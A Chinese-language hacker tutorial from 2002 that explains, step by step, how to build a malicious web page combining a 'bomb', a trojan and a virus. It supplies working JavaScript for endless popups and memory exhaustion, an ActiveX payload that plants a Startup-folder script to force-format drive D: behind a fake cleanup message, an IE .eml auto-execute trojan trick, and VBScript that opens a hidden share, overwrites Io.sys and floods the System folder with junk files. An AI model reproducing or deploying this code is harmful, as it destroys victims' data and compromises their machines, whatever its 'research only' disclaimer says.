※黑客攻防指南※===>黑客入门==>炸弹乎?木马乎?病毒乎?
炸弹乎?木马乎?病毒乎?(只供研究,严禁效仿)
                                              作者:←傲者少言∈

    前一段时间"混客绝情炸弹"闹得挺红,后来才知道竟然是本地一个17岁的高中生写的。听到这个消息真是
感到自己有些无地自容。人家都能写出这么出名的东东,为什么我这么大的人就什么也不会呢?哎…真是自恨
枝无叶,莫怨太阳倾啊…!不过反省之余也意识到自己的水平的确有限,所以我决定发奋读书!(三天打鱼,
两天晒网。)不过,功夫不付苦心人,三天后我终于自己写出来了一个具有世界先进水平的网页炸弹---三叶草
炸弹!(话有点说大了,其实根本没有那么可怕的…!)下面我就把整个网页的编写过程向大家讲诉一下,由
于此网页有一定的危害性,请大家切莫效仿,否则后果自负!但是为了安全起见,本文中的一些技术环节进行
马赛克处理.:)由于这是在网吧没有什么编辑器,所以只好用记事本来编写了。(条件艰苦啊!)

(我没有学过HTML语言,所以有些涉及到专业术语的地方可能有误,还望大家见谅!)
首先打开记事本创建一个HTM文件,按以下格式输入:
<html>
<head>
<title>无标题文档</title> (注:无标题文档可以改成别的名字,也就是你这个炸弹最后的名字)
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF" text="#000000">
</body>
</html>
下面我们开始用Javascript来编写一些脚本来玩一玩吧,先来个弹出无限窗口吧。在<head></head>区域
中输入以下代码:
<script>for(;;){window.open('')}</script> (也可以用这个代码让他死机:<script>if(open)window.open
("file:///c:/con/con");</script>)怎么样好玩吧?什么?应该把他的浏览器设成我的主页?呵呵,我本人不
建议你去修改人家浏览器的设置,炸弹就是炸弹要以炸为主,不要只是吓唬人家嘛…!哈…!好了,热身后该进
入正题了!

下面先写一个把它计算机变成蜗牛的东东,请看以下代码:
<script language="JavaScript">
function WhileLoopLock()
{
while (true){}
}

var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory

// Now this function EatMemoryInTime is a interesting one that could be

// placed on a timer for maximum nastiness :> I have been able to get

// up to 4Megs consumed by Netscape forcing my machine to crawl =)

// AND it's time driven! No while loops here!
</script>
呵呵,不要怕这并不是什么高招儿,高的还在后面哪…!请看:
<script language="JavaScript">
<!-- Begin
function WhileLoopLock()

{

while (true){}

}

var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory

// Now this function EatMemoryInTime is a interesting one that could be

// placed on a timer for maximum nastiness :> I have been able to get

// up to 4Megs consumed by Netscape forcing my machine to crawl =)

// AND it's time driven! No while loops here!
function EatMemoryInTime()

{

szEatMemory = szEatMemory + szEatMemory // keep appending

window.status = "String Length is: " + szEatMemory.length // report size

window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this

function

}

// End -->
</script>
嘿嘿!这个东东能吃掉他1G大的内存撒!你信不?不信就44。,撒,你就不敢大声说一句:"44944"?
然后呢,格掉他的D:\试试吧。为什么?玩呗…!
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<script>
scr.Reset();
scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\test.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('xxxxx /x format d: /x/xxxxxxxx /x');alert('IMPORTANT : Windows is removing unused temporary files.');</"+"SCRIPT>";
scr.write();
</script>
(这可是强制性格式化啊,是不会询问用户的耶!终于实现了程序运行时最小化,哈…)
好了,我们之所以还没有破坏他的C:\是因为我还有一件很重要的事没有做,给他中个木马!
<"http://xxx.xxx.xxx/xxx.eml" width=1 height=1>(此命令写的不是很完整)
先把设置好的木马做成xxx.eml文件,然后传到自己的空间里,再用上面的代码就能现实自动下载并执行了…!
这里要说明的一下是,这只是利用了IE的一个漏洞而已。当在浏览器中打开eml的邮件文件时,其中的附件可以
自动执行。(呵呵,这好像是定理了…!不过对于IE6.0我还没注意。)
width=1 height=1这个是设置打开时最小化的一个参数,具体名字我也叫不上来,只能强化记忆啦…!
现在炸弹功能和木马功能都实现了,再来点病毒吧…!:)
一开始我本来把欢乐时光的代码改了一下,不过那毕竟是别人写的东东,体现不出自己的风格,所以嘛,只好
硬着头皮自己写一个vbs啦,虽然不算高明,不过还算好用…!请看如下代码:()中为说明。
〈script language=vbs〉
On Error Resume Next (容错语句,避免程序崩溃)
set aa=CreateObject("WScript.Shell")(建立WScript对象)
Set fs = CreateObject("Scripting.FileSystemObject")(建立文件系统对象)
Set dir1 = fs.GetSpecialFolder(0)(得到Windows路径)
Set dir2 = fs.GetSpecialFolder(1)(得到System路径)
dir1=dir1+"\START MENU\PROGRAMS\启动"
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Flags",302,"REG_DWORD"(写入Dword值Flags,这是共享类型的标志)
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,"REG_DWORD"(写入Dword值Type)
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1(写入共享资源的绝对路径)
a=10
Set Os = CreateObject("Scriptlet.TypeLib")(建立自定义枚举对象)
doc="“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
“xxx”、“xxxxx”、“xxxx”、“xxxx”、“xxxx” 、“xxx”、“xx”、“xxx”、“xxxxxxxxxx”、
(一堆垃圾码,以备写入目标文件)
Os.Reset(重置TypeLib对象)
Os.Path = "C:\Io.sys"(TypeLib对象的目标路径为C:\Io.sys)
Os.Doc = doc(写入的内容——就是上面的一堆垃圾)
Os.Write()(写入!)
while true
(死循环,垃圾文件越多越好)
a=a+1
Os.Reset
Os.Path = dir2&"\Msvbvm"&a&".dll"
(目标路径为System下的Msvbvm???.dll文件)
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc
(大量重复,以生成足够大小的文件)
Os.Write()(生成文件!)
wend
〈/script〉
好啦…!最后生成一个HTML文件就搞定啦!虽然看似已经很厉害啦,其实这个网页并没有全部做完,由于实在
是太有危害性了所以其它的技术在这里就不作公开啦…!再奉劝大家一句,这个东东只是写来研究的!

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve